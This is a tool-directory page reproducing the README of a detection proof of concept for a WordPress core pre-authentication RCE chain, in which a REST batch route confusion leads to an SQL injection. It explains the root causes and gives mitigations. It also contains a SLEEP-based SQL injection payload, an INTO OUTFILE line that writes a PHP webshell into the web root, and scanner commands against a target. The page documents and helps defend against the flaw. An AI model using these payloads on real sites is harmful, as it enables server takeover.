Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wordpress-cve-2026-63030 — Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC. | Kitploit
Tools/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
41 month agoNot yet reviewed

WordPress REST API Batch Route Confusion + SQL Injection → RCE

Pre-authentication, unauthenticated, no plugins required. Works against a stock WordPress install via the REST API batch endpoint.

CVECVE-2026-63030 (route confusion → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
DiscovererAdam Kues — Assetnote / Searchlight Cyber (dubbed "wp2shell")
AffectedWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (full RCE chain) · 6.8.0 – 6.8.5 (SQLi only)
Patched6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSCritical (RCE chain) / Moderate (SQLi standalone)
Researcher bloghttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Overview

Two bugs in WordPress core, chainable into unauthenticated remote code execution:

  1. SQL injection in WP_Query when author__not_in is a string rather than an array — the is_array() sanitisation guard is skipped and the raw value is interpolated into a NOT IN (...) clause.
  2. Batch route confusion in WP_REST_Server::serve_batch_request_v1() — WP_Error sub-requests are pushed into $validation[] but not $matches[], causing a +1 index shift. Sub-request i ends up being dispatched with sub-request i+1's handler.

Neither bug alone is enough: the REST API sanitises author_exclude (type: array, items: integer) before it reaches WP_Query, and the batch endpoint rejects GET sub-requests (enum: POST, PUT, PATCH, DELETE). Chaining them through a double confusion bypasses both defences and reaches the SQLi unauthenticated.

2. Root Causes

2.1 SQL injection — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Vulnerable (6.9.4):

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

When author__not_in is a string the is_array() branch is skipped; (array) "payload" evaluates to ["payload"]; implode(',', ...) returns the raw string, which is interpolated straight into the SQL.

Fix (6.9.5): use wp_parse_id_list() which accepts any input shape and returns a sanitised integer list.

2.2 Batch route confusion — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

root@kitploit:~
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

A single WP_Error sub-request (e.g. malformed path) at position 0 shifts every subsequent entry by one. Request i is then dispatched with request i+1's handler.

Fix (6.9.5): append $matches[] = $single_request; for the error case as well. Additional hardening short-circuits rest_api_loaded() / serve_request() while a dispatch is already in flight.

3. The Double-Confusion Chain

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

The resulting SQL fragment is:

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) fires once per matching post row, so the total delay is roughly N × <number_of_published_posts> seconds.

From SQLi to RCE ("wp2shell")

The SELECT-only injection (no stacked queries, $wpdb uses mysqli_query) still yields RCE on typical LAMP stacks when the MySQL user has FILE privilege — which is the default on many shared hosters and self-managed servers:

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

writes a PHP webshell into the web root, reachable at /x.php.

Alternative paths (no FILE privilege needed) include reading the admin password hash via UNION/boolean blind SQLi and uploading a malicious plugin through the authenticated admin UI.

4. Detection / PoC

root@kitploit:~
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

The PoC performs two non-destructive tests:

TestMethodSafe?
Route confusion (CVE-2026-63030)
root@kitploit:~
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

Example output against a vulnerable 6.9.4 instance:

root@kitploit:~
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

No delay / no structural confusion ⇒ patched (6.8.6 / 6.9.5 / 7.0.2).

Requirements

  • Python ≥ 3.9
  • requests (pip install requests)

5. Reproducing

The easiest way to reproduce is with the official Docker images (the auto-updater will have patched most live instances within hours of disclosure):

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

For the INTO OUTFILE → RCE step, grant FILE privilege and ensure the DB process can write to the web root (single-server LAMP, or a shared volume in Docker):

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. Mitigation

  1. Update immediately to 6.8.6 / 6.9.5 / 7.0.2 (or newer). WordPress auto-applies minor/security releases by default (WP_AUTO_UPDATE_CORE), so most live sites are already patched.
  2. If you cannot update right now, block anonymous access to the batch endpoint at the WAF / reverse-proxy level:
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. Revoke FILE privilege from the WordPress DB user:
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. Ensure secure_file_priv is set (not empty):
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. Timeline

DateEvent
2026-07-17WordPress 6.8.6 / 6.9.5 / 7.0.2 released
2026-07-17GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf published
2026-07-17Assetnote / Searchlight Cyber publishes "wp2shell" advisory + https://wp2shell.com checker

8. References

  • WordPress advisories
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • Discoverer write-up
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Patch diff (6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • Checker site
    • https://wp2shell.com/

9. Responsible Disclosure

This repository contains only a detection PoC — it uses time-based blind SQLi and structural response inspection. It does not extract data, write files, or attempt RCE. The vulnerability was already patched and publicly disclosed by WordPress and the original researcher before this code was published.

Use only against systems you own or are authorised to test.

Licence

MIT — see LICENSE.

Download Tool
Structural — verifies inner request[1] (categories) is dispatched with the posts handler by checking the response body for post-only fields
Yes
SQLi (CVE-2026-60137)Time-based blind — injects SLEEP(N) via author_exclude and measures latency vs. a benign baselineYes